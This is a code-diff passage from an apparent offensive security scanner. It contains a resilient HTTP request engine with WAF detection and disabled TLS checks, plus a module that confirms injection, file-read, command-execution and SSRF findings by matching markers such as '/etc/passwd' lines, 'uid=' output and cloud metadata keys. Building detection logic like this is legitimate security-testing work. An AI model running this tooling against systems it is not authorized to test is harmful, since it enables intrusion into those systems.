TIMEOUT = "timeout"
|
||||
CONNECTION_ERROR = "connection_error"
|
||||
|
||||
|
||||
@dataclass
|
||||
class RequestResult:
|
||||
status: int
|
||||
body: str
|
||||
headers: Dict[str, str]
|
||||
url: str
|
||||
error_type: ErrorType = ErrorType.SUCCESS
|
||||
retry_count: int = 0
|
||||
response_time: float = 0.0
|
||||
|
||||
|
||||
@dataclass
|
||||
class HostState:
|
||||
"""Per-host tracking for rate limiting and circuit breaker."""
|
||||
host: str
|
||||
request_count: int = 0
|
||||
error_count: int = 0
|
||||
consecutive_failures: int = 0
|
||||
last_request_time: float = 0.0
|
||||
delay: float = 0.1
|
||||
circuit_open: bool = False
|
||||
circuit_open_time: float = 0.0
|
||||
avg_response_time: float = 0.0
|
||||
# Adaptive timeout
|
||||
_response_times: list = field(default_factory=list)
|
||||
|
||||
|
||||
class RequestEngine:
|
||||
"""Resilient HTTP request engine with retry, rate limiting, and circuit breaker.
|
||||
|
||||
Features:
|
||||
- Error classification (7 types)
|
||||
- Smart retry with exponential backoff (1s, 2s, 4s) on 5xx/timeout/connection
|
||||
- No retry on 4xx client errors
|
||||
- Per-host rate limiting with auto-increase on 429
|
||||
- Circuit breaker: N consecutive failures → open circuit for cooldown period
|
||||
- Adaptive timeouts based on target response times
|
||||
- Request counting and statistics
|
||||
- Cancel-aware (checks is_cancelled before each request)
|
||||
"""
|
||||
|
||||
WAF_INDICATORS = [
|
||||
"cloudflare", "incapsula", "sucuri", "akamai", "imperva",
|
||||
"mod_security", "modsecurity", "request blocked", "access denied",
|
||||
"waf", "web application firewall", "barracuda", "fortinet",
|
||||
"f5 big-ip", "citrix", "azure firewall",
|
||||
]
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
session, # aiohttp.ClientSession
|
||||
default_delay: float = 0.1,
|
||||
max_retries: int = 3,
|
||||
circuit_threshold: int = 5,
|
||||
circuit_timeout: float = 30.0,
|
||||
default_timeout: float = 10.0,
|
||||
is_cancelled_fn: Optional[Callable] = None,
|
||||
):
|
||||
self.session = session
|
||||
self.default_delay = default_delay
|
||||
self.max_retries = max_retries
|
||||
self.circuit_threshold = circuit_threshold
|
||||
self.circuit_timeout = circuit_timeout
|
||||
self.default_timeout = default_timeout
|
||||
self.is_cancelled = is_cancelled_fn or (lambda: False)
|
||||
|
||||
# Per-host state
|
||||
self._hosts: Dict[str, HostState] = {}
|
||||
|
||||
# Global stats
|
||||
self.total_requests = 0
|
||||
self.total_errors = 0
|
||||
self.errors_by_type: Dict[str, int] = {e.value: 0 for e in ErrorType}
|
||||
|
||||
def _get_host(self, url: str) -> HostState:
|
||||
"""Get or create host state."""
|
||||
from urllib.parse import urlparse
|
||||
host = urlparse(url).netloc
|
||||
if host not in self._hosts:
|
||||
self._hosts[host] = HostState(host=host, delay=self.default_delay)
|
||||
return self._hosts[host]
|
||||
|
||||
def _classify_error(self, status: int, body: str, exception: Optional[Exception] = None) -> ErrorType:
|
||||
"""Classify response/error into ErrorType."""
|
||||
if exception:
|
||||
exc_name = type(exception).__name__.lower()
|
||||
if "timeout" in exc_name or "timedout" in exc_name:
|
||||
return ErrorType.TIMEOUT
|
||||
return ErrorType.CONNECTION_ERROR
|
||||
|
||||
if 200 <= status < 400:
|
||||
return ErrorType.SUCCESS
|
||||
if status == 429:
|
||||
return ErrorType.RATE_LIMITED
|
||||
if status == 403:
|
||||
body_lower = body.lower() if body else ""
|
||||
if any(w in body_lower for w in self.WAF_INDICATORS):
|
||||
return ErrorType.WAF_BLOCKED
|
||||
return ErrorType.CLIENT_ERROR
|
||||
if 400 <= status < 500:
|
||||
return ErrorType.CLIENT_ERROR
|
||||
if status >= 500:
|
||||
return ErrorType.SERVER_ERROR
|
||||
|
||||
return ErrorType.SUCCESS
|
||||
|
||||
def _should_retry(self, error_type: ErrorType) -> bool:
|
||||
"""Determine if this error type warrants retry."""
|
||||
return error_type in (
|
||||
ErrorType.SERVER_ERROR,
|
||||
ErrorType.TIMEOUT,
|
||||
ErrorType.CONNECTION_ERROR,
|
||||
ErrorType.RATE_LIMITED,
|
||||
)
|
||||
|
||||
def _get_backoff_delay(self, attempt: int, error_type: ErrorType) -> float:
|
||||
"""Calculate exponential backoff delay."""
|
||||
if error_type == ErrorType.RATE_LIMITED:
|
||||
return min(30.0, 2.0 * (2 ** attempt)) # Longer for rate limiting
|
||||
return min(10.0, 1.0 * (2 ** attempt)) # 1s, 2s, 4s, ...
|
||||
|
||||
def _get_adaptive_timeout(self, host_state: HostState) -> float:
|
||||
"""Calculate adaptive timeout based on target response history."""
|
||||
if not host_state._response_times:
|
||||
return self.default_timeout
|
||||
avg = sum(host_state._response_times[-20:]) / len(host_state._response_times[-20:])
|
||||
# 3x average with min 5s, max 30s
|
||||
return max(5.0, min(30.0, avg * 3.0))
|
||||
|
||||
def _check_circuit(self, host_state: HostState) -> bool:
|
||||
"""Check if circuit breaker allows request. Returns True if allowed."""
|
||||
if not host_state.circuit_open:
|
||||
return True
|
||||
# Check if cooldown has passed
|
||||
elapsed = time.time() - host_state.circuit_open_time
|
||||
if elapsed >= self.circuit_timeout:
|
||||
# Half-open: allow one test request
|
||||
host_state.circuit_open = False
|
||||
host_state.consecutive_failures = 0
|
||||
logger.debug(f"Circuit half-open for {host_state.host}")
|
||||
return True
|
||||
return False
|
||||
|
||||
def _update_circuit(self, host_state: HostState, error_type: ErrorType):
|
||||
"""Update circuit breaker state after a request."""
|
||||
if error_type == ErrorType.SUCCESS:
|
||||
host_state.consecutive_failures = 0
|
||||
host_state.circuit_open = False
|
||||
elif error_type in (ErrorType.SERVER_ERROR, ErrorType.TIMEOUT, ErrorType.CONNECTION_ERROR):
|
||||
host_state.consecutive_failures += 1
|
||||
if host_state.consecutive_failures >= self.circuit_threshold:
|
||||
host_state.circuit_open = True
|
||||
host_state.circuit_open_time = time.time()
|
||||
logger.warning(f"Circuit OPEN for {host_state.host} after {host_state.consecutive_failures} failures")
|
||||
|
||||
async def request(
|
||||
self,
|
||||
url: str,
|
||||
method: str = "GET",
|
||||
params: Optional[Dict] = None,
|
||||
data: Optional[Any] = None,
|
||||
headers: Optional[Dict] = None,
|
||||
cookies: Optional[Dict] = None,
|
||||
allow_redirects: bool = False,
|
||||
timeout: Optional[float] = None,
|
||||
json_data: Optional[Dict] = None,
|
||||
) -> Optional[RequestResult]:
|
||||
"""Make an HTTP request with retry, rate limiting, and circuit breaker.
|
||||
|
||||
Returns RequestResult on success (even 4xx), None on total failure.
|
||||
"""
|
||||
if self.is_cancelled():
|
||||
return None
|
||||
|
||||
host_state = self._get_host(url)
|
||||
|
||||
# Circuit breaker check
|
||||
if not self._check_circuit(host_state):
|
||||
logger.debug(f"Circuit open for {host_state.host}, skipping")
|
||||
return RequestResult(
|
||||
status=0, body="", headers={}, url=url,
|
||||
error_type=ErrorType.CONNECTION_ERROR
|
||||
)
|
||||
|
||||
# Rate limiting: wait per-host delay
|
||||
now = time.time()
|
||||
elapsed = now - host_state.last_request_time
|
||||
if elapsed < host_state.delay:
|
||||
await asyncio.sleep(host_state.delay - elapsed)
|
||||
|
||||
# Determine timeout
|
||||
req_timeout = timeout or self._get_adaptive_timeout(host_state)
|
||||
|
||||
# Retry loop
|
||||
last_error_type = ErrorType.CONNECTION_ERROR
|
||||
for attempt in range(self.max_retries + 1):
|
||||
if self.is_cancelled():
|
||||
return None
|
||||
|
||||
start_time = time.time()
|
||||
try:
|
||||
import aiohttp
|
||||
kwargs = {
|
||||
"method": method,
|
||||
"url": url,
|
||||
"allow_redirects": allow_redirects,
|
||||
"timeout": aiohttp.ClientTimeout(total=req_timeout),
|
||||
"ssl": False,
|
||||
}
|
||||
if params:
|
||||
kwargs["params"] = params
|
||||
if data:
|
||||
kwargs["data"] = data
|
||||
if json_data:
|
||||
kwargs["json"] = json_data
|
||||
if headers:
|
||||
kwargs["headers"] = headers
|
||||
if cookies:
|
||||
kwargs["cookies"] = cookies
|
||||
|
||||
async with self.session.request(**kwargs) as resp:
|
||||
body = await resp.text()
|
||||
resp_time = time.time() - start_time
|
||||
resp_headers = dict(resp.headers)
|
||||
status = resp.status
|
||||
|
||||
# Track response time
|
||||
host_state._response_times.append(resp_time)
|
||||
if len(host_state._response_times) > 50:
|
||||
host_state._response_times = host_state._response_times[-30:]
|
||||
host_state.avg_response_time = sum(host_state._response_times) / len(host_state._response_times)
|
||||
|
||||
# Classify
|
||||
error_type = self._classify_error(status, body)
|
||||
last_error_type = error_type
|
||||
|
||||
# Update stats
|
||||
self.total_requests += 1
|
||||
host_state.request_count += 1
|
||||
host_state.last_request_time = time.time()
|
||||
self.errors_by_type[error_type.value] = self.errors_by_type.get(error_type.value, 0) + 1
|
||||
|
||||
# Update circuit breaker
|
||||
self._update_circuit(host_state, error_type)
|
||||
|
||||
# Handle rate limiting
|
||||
if error_type == ErrorType.RATE_LIMITED:
|
||||
# Check Retry-After header
|
||||
retry_after = resp_headers.get("Retry-After", "")
|
||||
if retry_after.isdigit():
|
||||
wait = min(60.0, float(retry_after))
|
||||
else:
|
||||
wait = self._get_backoff_delay(attempt, error_type)
|
||||
# Increase per-host delay
|
||||
host_state.delay = min(5.0, host_state.delay * 2)
|
||||
logger.debug(f"Rate limited on {host_state.host}, delay now {host_state.delay:.1f}s")
|
||||
if attempt < self.max_retries:
|
||||
await asyncio.sleep(wait)
|
||||
continue
|
||||
|
||||
# Retry on server errors
|
||||
if self._should_retry(error_type) and attempt < self.max_retries:
|
||||
wait = self._get_backoff_delay(attempt, error_type)
|
||||
logger.debug(f"Retry {attempt+1}/{self.max_retries} for {url} ({error_type.value}), wait {wait:.1f}s")
|
||||
await asyncio.sleep(wait)
|
||||
continue
|
||||
|
||||
# Return result (success or non-retryable error)
|
||||
if error_type != ErrorType.SUCCESS:
|
||||
self.total_errors += 1
|
||||
host_state.error_count += 1
|
||||
|
||||
return RequestResult(
|
||||
status=status,
|
||||
body=body,
|
||||
headers=resp_headers,
|
||||
url=str(resp.url),
|
||||
error_type=error_type,
|
||||
retry_count=attempt,
|
||||
response_time=resp_time,
|
||||
)
|
||||
|
||||
except asyncio.TimeoutError:
|
||||
resp_time = time.time() - start_time
|
||||
last_error_type = ErrorType.TIMEOUT
|
||||
self.total_requests += 1
|
||||
self.total_errors += 1
|
||||
host_state.request_count += 1
|
||||
host_state.error_count += 1
|
||||
host_state.last_request_time = time.time()
|
||||
self.errors_by_type["timeout"] = self.errors_by_type.get("timeout", 0) + 1
|
||||
self._update_circuit(host_state, ErrorType.TIMEOUT)
|
||||
|
||||
if attempt < self.max_retries:
|
||||
wait = self._get_backoff_delay(attempt, ErrorType.TIMEOUT)
|
||||
logger.debug(f"Timeout on {url}, retry {attempt+1}/{self.max_retries}")
|
||||
await asyncio.sleep(wait)
|
||||
continue
|
||||
|
||||
except Exception as e:
|
||||
resp_time = time.time() - start_time
|
||||
error_type = self._classify_error(0, "", e)
|
||||
last_error_type = error_type
|
||||
self.total_requests += 1
|
||||
self.total_errors += 1
|
||||
host_state.request_count += 1
|
||||
host_state.error_count += 1
|
||||
host_state.last_request_time = time.time()
|
||||
self.errors_by_type[error_type.value] = self.errors_by_type.get(error_type.value, 0) + 1
|
||||
self._update_circuit(host_state, error_type)
|
||||
|
||||
if self._should_retry(error_type) and attempt < self.max_retries:
|
||||
wait = self._get_backoff_delay(attempt, error_type)
|
||||
logger.debug(f"Error on {url}: {e}, retry {attempt+1}")
|
||||
await asyncio.sleep(wait)
|
||||
continue
|
||||
|
||||
logger.debug(f"Request failed after {attempt+1} attempts: {url} - {e}")
|
||||
|
||||
# All retries exhausted
|
||||
return RequestResult(
|
||||
status=0, body="", headers={}, url=url,
|
||||
error_type=last_error_type, retry_count=self.max_retries,
|
||||
)
|
||||
|
||||
def get_stats(self) -> Dict:
|
||||
"""Get request statistics."""
|
||||
host_stats = {}
|
||||
for host, state in self._hosts.items():
|
||||
host_stats[host] = {
|
||||
"requests": state.request_count,
|
||||
"errors": state.error_count,
|
||||
"avg_response_time": round(state.avg_response_time, 3),
|
||||
"delay": round(state.delay, 3),
|
||||
"circuit_open": state.circuit_open,
|
||||
"consecutive_failures": state.consecutive_failures,
|
||||
}
|
||||
return {
|
||||
"total_requests": self.total_requests,
|
||||
"total_errors": self.total_errors,
|
||||
"errors_by_type": dict(self.errors_by_type),
|
||||
"hosts": host_stats,
|
||||
}
|
||||
|
||||
def reset_stats(self):
|
||||
"""Reset all statistics."""
|
||||
self.total_requests = 0
|
||||
self.total_errors = 0
|
||||
self.errors_by_type = {e.value: 0 for e in ErrorType}
|
||||
self._hosts.clear()
|
||||
@@ -0,0 +1,780 @@
|
||||
"""
|
||||
NeuroSploit v3 - XBOW-Inspired Response Verification Framework
|
||||
|
||||
Multi-signal verification system that confirms vulnerabilities
|
||||
through 4 independent signals, reducing false positives dramatically.
|
||||
|
||||
Inspired by XBOW benchmark methodology:
|
||||
- Binary verification (flag-based in CTF, evidence-based here)
|
||||
- Health checks before testing
|
||||
- Baseline diffing for behavioral anomaly detection
|
||||
- Multi-signal confirmation (2+ signals = confirmed without AI)
|
||||
"""
|
||||
|
||||
import re
|
||||
import hashlib
|
||||
from typing import Dict, List, Optional, Tuple, Any
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Error / indicator patterns used across multiple checkers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
DB_ERROR_PATTERNS = [
|
||||
r"(?:sql|database|query)\s*(?:error|syntax|exception)",
|
||||
r"mysql_(?:fetch|query|num_rows|connect)",
|
||||
r"mysqli_",
|
||||
r"pg_(?:query|exec|prepare|connect)",
|
||||
r"sqlite3?\.\w+error",
|
||||
r"ora-\d{4,5}",
|
||||
r"mssql_query",
|
||||
r"sqlstate\[",
|
||||
r"odbc\s+driver",
|
||||
r"jdbc\s+exception",
|
||||
r"unclosed\s+quotation",
|
||||
r"you have an error in your sql",
|
||||
r"syntax error.*at line \d+",
|
||||
]
|
||||
|
||||
TEMPLATE_ERROR_PATTERNS = [
|
||||
r"jinja2\.exceptions\.\w+",
|
||||
r"mako\.exceptions\.\w+",
|
||||
r"twig.*error",
|
||||
r"freemarker.*error",
|
||||
r"smarty.*error",
|
||||
r"django\.template\.\w+",
|
||||
r"template syntax error",
|
||||
]
|
||||
|
||||
FILE_CONTENT_MARKERS = [
|
||||
"root:x:0:0:",
|
||||
"daemon:x:1:1:",
|
||||
"bin:x:2:2:",
|
||||
"www-data:",
|
||||
"[boot loader]",
|
||||
"[operating systems]",
|
||||
"[extensions]",
|
||||
]
|
||||
|
||||
SSTI_EVALUATIONS = {
|
||||
"7*7": "49",
|
||||
"7*'7'": "7777777",
|
||||
"3*3": "9",
|
||||
}
|
||||
|
||||
COMMAND_OUTPUT_MARKERS = [
|
||||
r"uid=\d+\(",
|
||||
r"gid=\d+\(",
|
||||
r"root:\w+:0:0:",
|
||||
r"/bin/(?:ba)?sh",
|
||||
r"Linux\s+\S+\s+\d+\.\d+",
|
||||
r"total\s+\d+\s*\n",
|
||||
]
|
||||
|
||||
NOSQL_ERROR_PATTERNS = [
|
||||
r"MongoError",
|
||||
r"mongo.*(?:syntax|parse|query).*error",
|
||||
r"\$(?:gt|lt|ne|in|nin|regex|where|exists)\b",
|
||||
r"CastError.*ObjectId",
|
||||
r"BSONTypeError",
|
||||
r"operator.*\$(?:gt|lt|ne|regex)",
|
||||
]
|
||||
|
||||
LDAP_ERROR_PATTERNS = [
|
||||
r"javax\.naming\.(?:directory\.)?InvalidSearchFilterException",
|
||||
r"Bad search filter",
|
||||
r"ldap_search.*error",
|
||||
r"invalid.*(?:dn|distinguished name|ldap filter)",
|
||||
r"unbalanced.*parenthes[ei]s",
|
||||
r"NamingException",
|
||||
]
|
||||
|
||||
XPATH_ERROR_PATTERNS = [
|
||||
r"XPathException",
|
||||
r"Invalid XPath",
|
||||
r"xmlXPathEval.*error",
|
||||
r"DOMXPath.*(?:evaluate|query).*error",
|
||||
r"SimpleXMLElement.*xpath",
|
||||
r"unterminated.*(?:string|expression).*xpath",
|
||||
r"XPATH syntax error",
|
||||
]
|
||||
|
||||
GRAPHQL_ERROR_PATTERNS = [
|
||||
r'"errors"\s*:\s*\[',
|
||||
r"Syntax Error.*GraphQL",
|
||||
r"Cannot query field",
|
||||
r"Unknown argument",
|
||||
r"Expected Name",
|
||||
r"graphql.*parse.*error",
|
||||
]
|
||||
|
||||
DESERIALIZATION_ERROR_PATTERNS = [
|
||||
r"java\.io\.(?:InvalidClass|StreamCorrupted)Exception",
|
||||
r"ClassNotFoundException",
|
||||
r"unserialize\(\).*error",
|
||||
r"pickle\.UnpicklingError",
|
||||
r"yaml\.(?:scanner|parser)\.ScannerError",
|
||||
r"__wakeup\(\).*failed",
|
||||
r"ObjectInputStream",
|
||||
r"readObject\(\).*exception",
|
||||
]
|
||||
|
||||
EL_INJECTION_PATTERNS = [
|
||||
r"javax\.el\.ELException",
|
||||
r"org\.springframework\.expression\.spel",
|
||||
r"EL Expression.*error",
|
||||
r"OGNL.*exception",
|
||||
]
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Health checking
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
UNHEALTHY_PATTERNS = [
|
||||
"502 bad gateway",
|
||||
"503 service unavailable",
|
||||
"service unavailable",
|
||||
"maintenance mode",
|
||||
"under maintenance",
|
||||
"temporarily unavailable",
|
||||
"server is starting",
|
||||
"connection refused",
|
||||
]
|
||||
|
||||
|
||||
class ResponseVerifier:
|
||||
"""
|
||||
Multi-signal verification framework for vulnerability confirmation.
|
||||
|
||||
4 independent signals are checked:
|
||||
1. VulnEngine tester pattern match (structured analyze_response)
|
||||
2. Baseline diff (status / length / hash change)
|
||||
3. Payload effect (reflection, evaluation, file content)
|
||||
4. New error patterns (present in test but absent in baseline)
|
||||
|
||||
Confidence rules:
|
||||
- 2+ signals → confirmed (skip AI)
|
||||
- 1 signal + confidence >= 0.8 → confirmed
|
||||
- 1 signal + confidence < 0.8 → needs AI confirmation
|
||||
- 0 signals → rejected
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self._compiled_db_errors = [re.compile(p, re.IGNORECASE) for p in DB_ERROR_PATTERNS]
|
||||
self._compiled_template_errors = [re.compile(p, re.IGNORECASE) for p in TEMPLATE_ERROR_PATTERNS]
|
||||
self._compiled_cmd_markers = [re.compile(p, re.IGNORECASE) for p in COMMAND_OUTPUT_MARKERS]
|
||||
self._compiled_nosql_errors = [re.compile(p, re.IGNORECASE) for p in NOSQL_ERROR_PATTERNS]
|
||||
self._compiled_ldap_errors = [re.compile(p, re.IGNORECASE) for p in LDAP_ERROR_PATTERNS]
|
||||
self._compiled_xpath_errors = [re.compile(p, re.IGNORECASE) for p in XPATH_ERROR_PATTERNS]
|
||||
self._compiled_graphql_errors = [re.compile(p, re.IGNORECASE) for p in GRAPHQL_ERROR_PATTERNS]
|
||||
self._compiled_deser_errors = [re.compile(p, re.IGNORECASE) for p in DESERIALIZATION_ERROR_PATTERNS]
|
||||
self._compiled_el_errors = [re.compile(p, re.IGNORECASE) for p in EL_INJECTION_PATTERNS]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Target health check
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def check_target_health(self, session, url: str) -> Tuple[bool, dict]:
|
||||
"""
|
||||
Verify the target is alive and functional before testing.
|
||||
|
||||
Returns:
|
||||
(is_healthy, info_dict)
|
||||
"""
|
||||
try:
|
||||
async with session.get(url, timeout=15, allow_redirects=True) as resp:
|
||||
body = await resp.text()
|
||||
status = resp.status
|
||||
headers = dict(resp.headers)
|
||||
|
||||
info = {
|
||||
"status": status,
|
||||
"content_length": len(body),
|
||||
"content_type": headers.get("Content-Type", ""),
|
||||
"server": headers.get("Server", ""),
|
||||
}
|
||||
|
||||
# Reject server errors
|
||||
if status >= 500:
|
||||
info["reason"] = f"Server error (HTTP {status})"
|
||||
return False, info
|
||||
|
||||
# Reject empty/minimal pages
|
||||
if len(body) < 50:
|
||||
info["reason"] = "Response too short (< 50 chars)"
|
||||
return False, info
|
||||
|
||||
# Check for unhealthy content
|
||||
body_lower = body.lower()
|
||||
for pattern in UNHEALTHY_PATTERNS:
|
||||
if pattern in body_lower:
|
||||
info["reason"] = f"Unhealthy response: '{pattern}'"
|
||||
return False, info
|
||||
|
||||
info["healthy"] = True
|
||||
return True, info
|
||||
|
||||
except Exception as e:
|
||||
return False, {"reason": f"Connection error: {str(e)[:200]}"}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Baseline diffing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def compute_response_diff(self, baseline: dict, test_response: dict) -> dict:
|
||||
"""
|
||||
Compare test response against cached baseline.
|
||||
|
||||
Returns dict with diff metrics.
|
||||
"""
|
||||
baseline_body = baseline.get("body", "")
|
||||
test_body = test_response.get("body", "")
|
||||
|
||||
baseline_len = len(baseline_body) if isinstance(baseline_body, str) else baseline.get("body_length", 0)
|
||||
test_len = len(test_body)
|
||||
|
||||
length_diff = abs(test_len - baseline_len)
|
||||
length_pct = (length_diff / max(baseline_len, 1)) * 100
|
||||
|
||||
baseline_hash = baseline.get("body_hash") or hashlib.md5(
|
||||
baseline_body.encode("utf-8", errors="replace")
|
||||
).hexdigest()
|
||||
test_hash = hashlib.md5(
|
||||
test_body.encode("utf-8", errors="replace")
|
||||
).hexdigest()
|
||||
|
||||
# Detect new error patterns in test but not baseline
|
||||
baseline_lower = (baseline_body if isinstance(baseline_body, str) else "").lower()
|
||||
test_lower = test_body.lower()
|
||||
|
||||
new_errors = []
|
||||
for pat in self._compiled_db_errors:
|
||||
if pat.search(test_lower) and not pat.search(baseline_lower):
|
||||
new_errors.append(pat.pattern)
|
||||
for pat in self._compiled_template_errors:
|
||||
if pat.search(test_lower) and not pat.search(baseline_lower):
|
||||
new_errors.append(pat.pattern)
|
||||
|
||||
return {
|
||||
"status_changed": baseline.get("status", 0) != test_response.get("status", 0),
|
||||
"baseline_status": baseline.get("status", 0),
|
||||
"test_status": test_response.get("status", 0),
|
||||
"length_diff": length_diff,
|
||||
"length_diff_pct": round(length_pct, 1),
|
||||
"body_hash_changed": baseline_hash != test_hash,
|
||||
"new_error_patterns": new_errors,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Payload effect verification
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _check_payload_effect(self, vuln_type: str, payload: str,
|
||||
test_body: str, test_status: int,
|
||||
test_headers: dict,
|
||||
baseline_body: str = "",
|
||||
baseline_status: int = 0) -> Tuple[bool, Optional[str]]:
|
||||
"""
|
||||
Check if the payload produced a detectable effect in the response.
|
||||
|
||||
This is signal #3 in multi-signal verification.
|
||||
Weak checks (NoSQL blind, parameter pollution, type juggling,
|
||||
HTML injection, JWT, blind XSS, mutation XSS) require baseline
|
||||
comparison to eliminate false positives.
|
||||
"""
|
||||
body_lower = test_body.lower()
|
||||
baseline_lower = baseline_body.lower() if baseline_body else ""
|
||||
|
||||
# ---- XSS ----
|
||||
if vuln_type in ("xss", "xss_reflected", "xss_stored", "xss_dom"):
|
||||
payload_lower = payload.lower()
|
||||
# Unescaped reflection — use context-aware analysis
|
||||
if payload in test_body or payload_lower in body_lower:
|
||||
from backend.core.xss_context_analyzer import analyze_xss_execution_context
|
||||
ctx = analyze_xss_execution_context(test_body, payload)
|
||||
if ctx["executable"]:
|
||||
return True, f"XSS payload in auto-executing context: {ctx['detail']}"
|
||||
if ctx["interactive"]:
|
||||
return True, f"XSS payload in interactive context: {ctx['detail']}"
|
||||
return False, None
|
||||
|
||||
# ---- SQLi ----
|
||||
if vuln_type in ("sqli", "sqli_error", "sqli_union", "sqli_blind", "sqli_time"):
|
||||
for pat in self._compiled_db_errors:
|
||||
m = pat.search(body_lower)
|
||||
if m:
|
||||
return True, f"SQL error induced by payload: {m.group()}"
|
||||
return False, None
|
||||
|
||||
# ---- SSTI ----
|
||||
if vuln_type == "ssti":
|
||||
for expr, result in SSTI_EVALUATIONS.items():
|
||||
if expr in payload and result in test_body:
|
||||
# Confirm the raw expression is NOT present (evaluated)
|
||||
if expr not in test_body:
|
||||
return True, f"Template expression evaluated: {expr}={result}"
|
||||
return False, None
|
||||
|
||||
# ---- LFI / Path Traversal ----
|
||||
if vuln_type in ("lfi", "path_traversal"):
|
||||
for marker in FILE_CONTENT_MARKERS:
|
||||
if marker.lower() in body_lower:
|
||||
return True, f"File content detected: {marker}"
|
||||
return False, None
|
||||
|
||||
# ---- Command Injection / RCE ----
|
||||
if vuln_type in ("rce", "command_injection"):
|
||||
for pat in self._compiled_cmd_markers:
|
||||
m = pat.search(test_body)
|
||||
if m:
|
||||
return True, f"Command output detected: {m.group()}"
|
||||
return False, None
|
||||
|
||||
# ---- SSRF ----
|
||||
if vuln_type in ("ssrf", "ssrf_cloud"):
|
||||
ssrf_markers = ["ami-id", "instance-type", "iam/info", "meta-data",
|
||||
"computeMetadata", "root:x:0:0"]
|
||||
for marker in ssrf_markers:
|
||||
if marker.lower() in body_lower:
|
||||
return True, f"Internal resource content: {marker}"
|
||||
return False, None
|
||||
|
||||
# ---- Open Redirect ----
|
||||
if vuln_type == "open_redirect":
|
||||
if test_status in (301, 302, 303, 307, 308):
|
||||
location = test_headers.get("Location", test_headers.get("location", ""))
|
||||
if "evil.com" in location or location.startswith("//"):
|
||||
return True, f"Redirect to external: {location}"
|
||||
return False, None
|
||||
|
||||
# ---- XXE ----
|
||||
if vuln_type == "xxe":
|
||||
for marker in FILE_CONTENT_MARKERS:
|
||||
if marker.lower() in body_lower:
|
||||
return True, f"XXE file read: {marker}"
|
||||
return False, None
|
||||
|
||||
# ---- NoSQL Injection ----
|
||||
if vuln_type == "nosql_injection":
|
||||
for pat in self._compiled_nosql_errors:
|
||||
m = pat.search(body_lower)
|
||||
if m:
|
||||
return True, f"NoSQL error induced: {m.group()}"
|
||||
# Boolean-based blind NoSQL: require response DIFFERS from baseline
|
||||
if "$gt" in payload or "$ne" in payload or "$regex" in payload:
|
||||
if baseline_body and test_status == 200:
|
||||
len_diff = abs(len(test_body) - len(baseline_body))
|
||||
len_pct = (len_diff / max(len(baseline_body), 1)) * 100
|
||||
status_diff = test_status != baseline_status
|
||||
if len_pct > 20 or status_diff:
|
||||
return True, f"NoSQL blind: Response differs from baseline (delta {len_diff} chars, {len_pct:.0f}%)"
|
||||
return False, None
|
||||
|
||||
# ---- LDAP Injection ----
|
||||
if vuln_type == "ldap_injection":
|
||||
for pat in self._compiled_ldap_errors:
|
||||
m = pat.search(test_body)
|
||||
if m:
|
||||
return True, f"LDAP error induced: {m.group()}"
|
||||
return False, None
|
||||
|
||||
# ---- XPath Injection ----
|
||||
if vuln_type == "xpath_injection":
|
||||
for pat in self._compiled_xpath_errors:
|
||||
m = pat.search(test_body)
|
||||
if m:
|
||||
return True, f"XPath error induced: {m.group()}"
|
||||
return False, None
|
||||
|
||||
# ---- CRLF Injection ----
|
||||
if vuln_type == "crlf_injection":
|
||||
# Check if injected header appears in response headers
|
||||
injected_headers = ["X-Injected", "Set-Cookie", "X-CRLF-Test"]
|
||||
for hdr in injected_headers:
|
||||
if hdr.lower() in payload.lower():
|
||||
header_val = test_headers.get(hdr, test_headers.get(hdr.lower(), ""))
|
||||
if header_val and ("injected" in header_val.lower() or "crlf" in header_val.lower()):
|
||||
return True, f"CRLF: Injected header appeared: {hdr}: {header_val[:100]}"
|
||||
# Check for header splitting in body
|
||||
if "\r\n" in payload and test_status in (200, 302):
|
||||
if "x-injected" in body_lower or "set-cookie" in body_lower:
|
||||
return True, "CRLF: Injected headers visible in response body"
|
||||
return False, None
|
||||
|
||||
# ---- Header Injection ----
|
||||
if vuln_type == "header_injection":
|
||||
# Similar to CRLF but broader
|
||||
if "\r\n" in payload or "%0d%0a" in payload.lower():
|
||||
for hdr_name in ["X-Injected", "X-Custom"]:
|
||||
if test_headers.get(hdr_name) or test_headers.get(hdr_name.lower()):
|
||||
return True, f"Header injection: {hdr_name} injected via payload"
|
||||
return False, None
|
||||
|
||||
# ---- Expression Language Injection ----
|
||||
if vuln_type == "expression_language_injection":
|
||||
for pat in self._compiled_el_errors:
|
||||
m = pat.search(test_body)
|
||||
if m:
|
||||
return True, f"EL error induced: {m.group()}"
|
||||
# Check for EL evaluation (similar to SSTI)
|
||||
for expr, result in SSTI_EVALUATIONS.items():
|
||||
if expr in payload and result in test_body and expr not in test_body:
|
||||
return True, f"EL expression evaluated: {expr}={result}"
|
||||
return False, None
|
||||
|
||||
# ---- Log Injection ----
|
||||
if vuln_type == "log_injection":
|
||||
# Check for injected log line content reflected back
|
||||
log_markers = ["INJECTED_LOG_ENTRY", "FAKE_ADMIN_LOGIN", "log-injection-test"]
|
||||
for marker in log_markers:
|
||||
if marker in payload and marker in test_body:
|
||||
return True, f"Log injection: Marker '{marker}' reflected in response"
|
||||
return False, None
|
||||
|
||||
# ---- HTML Injection ----
|
||||
if vuln_type == "html_injection":
|
||||
payload_lower = payload.lower()
|
||||
# Check for unescaped HTML tags reflected
|
||||
html_tags = ["<h1", "<div", "<marquee", "<b>", "<u>", "<font", "<form"]
|
||||
for tag in html_tags:
|
||||
if tag in payload_lower and tag in body_lower:
|
||||
# Verify not HTML-encoded
|
||||
escaped = tag.replace("<", "<")
|
||||
if escaped not in body_lower:
|
||||
# Require tag is NOT already present in baseline (pre-existing)
|
||||
if baseline_lower and tag in baseline_lower:
|
||||
continue # Tag exists in baseline — not injected
|
||||
return True, f"HTML injection: Tag {tag} reflected unescaped (not in baseline)"
|
||||
return False, None
|
||||
|
||||
# ---- CSV Injection ----
|
||||
if vuln_type == "csv_injection":
|
||||
